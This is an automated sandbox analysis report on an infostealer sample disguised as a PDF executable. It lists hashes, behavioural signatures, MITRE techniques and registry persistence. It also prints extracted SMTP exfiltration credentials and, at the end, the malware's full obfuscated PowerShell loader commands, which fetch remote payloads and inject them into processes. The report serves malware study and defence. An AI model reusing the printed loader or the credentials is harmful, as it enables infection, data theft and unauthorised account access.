phantom_stealer | 2232eb680881fa7bc2e9402cfedbbf416ff065426cb5309bb0c9ce8224632cd2

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 15:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
10784_30601_10_PDF.exe
Size 32KB
Sample260528-swx8caet61
SHA256 2232eb680881fa7bc2e9402cfedbbf416ff065426cb5309bb0c9ce8224632cd2
MD5 aac0c64bf8186ea8b7fd7eaed7e5fe4c
SHA1 5dc963972199b38e5d7d849d4fa8b8e1a6d8270d
SHA512 89b502f8cd1f81e12691d24a18e048cf434b358d6a0d59eda39612ff71502b4f8986c8c5e7731777bbcd3266202a04416f3508ebb47a557e8a9f186075f730e4
SSDEEP 768:yz57Ngy0RKX/bFXnwwKsuGgReSUaq1LyJQz:8/bNnwfsuGyda
TLSH
T184E2E724A3D5E470C15B237027D6D5E022E2EDD75E370629ACC8F9ABEAF33056B25E44
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution phantom_stealer persistence spyware stealer

Malware Config

Extracted

Credentials

Protocol
smtp
Host
162.254.34.31
Port
587
Username
[email protected]
Password
RlhSRREjpJ4H

Extracted

Family

phantom_stealer

Version

v3.5.0

Credentials

Protocol
smtp
Host
162.254.34.31
Port
587
Username
[email protected]
Password
RlhSRREjpJ4H
Email to
[email protected]

Mutex

40HVOT8R6K144BU88FRC

Attributes

anti_analysis
0
cb_enables_ssl
0
debug
0
keylogger
1
start_delay
0
startup
0

Signatures

Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
stealer phantom_stealer

Detects PhantomStealer written in C# 2 IoCs

resource	yara_rule
behavioral2/memory/3748-68-0x00000000000B0000-0x000000000017C000-memory.dmp	family_phantomstealer
behavioral2/memory/3748-70-0x00000000000B0000-0x000000000016E000-memory.dmp	family_phantomstealer

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4228	powershell.exe
3	4228	powershell.exe
4	4228	powershell.exe
5	4228	powershell.exe
6	4192	powershell.exe
7	4192	powershell.exe
92	4192	powershell.exe
95	4192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4228	powershell.exe
4192	powershell.exe
2004	powershell.exe
2708	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hfbhlhSjfi = "C:\\ProgramData\\khcrdab.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\FFiffAejoo = "C:\\ProgramData\\khcrdab.bat"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	icanhazip.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4228 set thread context of 3748	4228	powershell.exe	93
PID 4192 set thread context of 4716	4192	powershell.exe	152

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4608	chrome.exe
5712	msedge.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
2004	powershell.exe
2004	powershell.exe
4228	powershell.exe
4228	powershell.exe
2708	powershell.exe
2708	powershell.exe
4192	powershell.exe
4192	powershell.exe
4228	powershell.exe
3748	RegAsm.exe
3748	RegAsm.exe
2660	chrome.exe
2660	chrome.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
3748	RegAsm.exe
4192	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	3748	RegAsm.exe
Token: SeShutdownPrivilege	2660	chrome.exe
Token: SeCreatePagefilePrivilege	2660	chrome.exe
Token: SeShutdownPrivilege	2660	chrome.exe
Token: SeCreatePagefilePrivilege	2660	chrome.exe
Token: SeDebugPrivilege	4716	RegAsm.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
2660	chrome.exe
2660	chrome.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
5252	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1256	firefox.exe
3748	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 3624	5076	10784_30601_10_PDF.exe	80
PID 3624 wrote to memory of 2004	3624	cmd.exe	82
PID 2004 wrote to memory of 4228	2004	powershell.exe	83
PID 4228 wrote to memory of 2716	4228	powershell.exe	85
PID 2716 wrote to memory of 2448	2716	csc.exe	86
PID 2708 wrote to memory of 4192	2708	powershell.exe	89
PID 4192 wrote to memory of 2564	4192	powershell.exe	91
PID 2564 wrote to memory of 1632	2564	csc.exe	92
PID 4228 wrote to memory of 3748	4228	powershell.exe	93
PID 4228 wrote to memory of 3748	4228	powershell.exe	93
PID 4228 wrote to memory of 3748	4228	powershell.exe	93
PID 4228 wrote to memory of 3748	4228	powershell.exe	93
PID 4228 wrote to memory of 3748	4228	powershell.exe	93
PID 3748 wrote to memory of 2660	3748	RegAsm.exe	95
PID 2660 wrote to memory of 2872	2660	chrome.exe	96
PID 2660 wrote to memory of 704	2660	chrome.exe	97
PID 3748 wrote to memory of 2660	3748	RegAsm.exe	95
PID 2660 wrote to memory of 4608	2660	chrome.exe	98
PID 3748 wrote to memory of 2660	3748	RegAsm.exe	95
PID 2660 wrote to memory of 1008	2660	chrome.exe	99
PID 2660 wrote to memory of 3720	2660	chrome.exe	100
PID 2660 wrote to memory of 860	2660	chrome.exe	101
PID 3748 wrote to memory of 4608	3748	RegAsm.exe	98
PID 2660 wrote to memory of 4420	2660	chrome.exe	102
PID 2660 wrote to memory of 5092	2660	chrome.exe	103
PID 3748 wrote to memory of 4608	3748	RegAsm.exe	98
PID 3748 wrote to memory of 2872	3748	RegAsm.exe	96
PID 3748 wrote to memory of 2872	3748	RegAsm.exe	96
PID 2660 wrote to memory of 2200	2660	chrome.exe	104
PID 2660 wrote to memory of 3424	2660	chrome.exe	105
PID 3748 wrote to memory of 704	3748	RegAsm.exe	97
PID 3748 wrote to memory of 704	3748	RegAsm.exe	97
PID 3748 wrote to memory of 2660	3748	RegAsm.exe	95
PID 3748 wrote to memory of 2660	3748	RegAsm.exe	95
PID 3748 wrote to memory of 4608	3748	RegAsm.exe	98
PID 3748 wrote to memory of 4608	3748	RegAsm.exe	98
PID 3748 wrote to memory of 2200	3748	RegAsm.exe	104
PID 3748 wrote to memory of 2200	3748	RegAsm.exe	104
PID 3748 wrote to memory of 5092	3748	RegAsm.exe	103
PID 3748 wrote to memory of 5092	3748	RegAsm.exe	103
PID 3748 wrote to memory of 2872	3748	RegAsm.exe	96
PID 3748 wrote to memory of 2872	3748	RegAsm.exe	96
PID 3748 wrote to memory of 704	3748	RegAsm.exe	97
PID 3748 wrote to memory of 704	3748	RegAsm.exe	97
PID 3748 wrote to memory of 3424	3748	RegAsm.exe	105
PID 3748 wrote to memory of 3424	3748	RegAsm.exe	105
PID 3748 wrote to memory of 860	3748	RegAsm.exe	101
PID 3748 wrote to memory of 860	3748	RegAsm.exe	101
PID 3748 wrote to memory of 1008	3748	RegAsm.exe	99
PID 3748 wrote to memory of 1008	3748	RegAsm.exe	99
PID 3748 wrote to memory of 4420	3748	RegAsm.exe	102
PID 3748 wrote to memory of 4420	3748	RegAsm.exe	102
PID 2660 wrote to memory of 2352	2660	chrome.exe	106
PID 3748 wrote to memory of 2660	3748	RegAsm.exe	95
PID 3748 wrote to memory of 2660	3748	RegAsm.exe	95
PID 3748 wrote to memory of 4608	3748	RegAsm.exe	98
PID 3748 wrote to memory of 4608	3748	RegAsm.exe	98
PID 3748 wrote to memory of 2200	3748	RegAsm.exe	104
PID 3748 wrote to memory of 2200	3748	RegAsm.exe	104
PID 3748 wrote to memory of 5092	3748	RegAsm.exe	103
PID 3748 wrote to memory of 5092	3748	RegAsm.exe	103
PID 3748 wrote to memory of 2872	3748	RegAsm.exe	96
PID 3748 wrote to memory of 2872	3748	RegAsm.exe	96
PID 3748 wrote to memory of 704	3748	RegAsm.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2409539145-3342400454-2096821238-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\10784_30601_10_PDF.exe
"C:\Users\Admin\AppData\Local\Temp\10784_30601_10_PDF.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\b6ca76e9-e08a-44d2-8934-d4491f915bd7.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjAHIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA=='';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\b6ca76e9-e08a-44d2-8934-d4491f915bd7.bat' -Destination 'C:\ProgramData\khcrdab.bat' -Force -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdfgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjA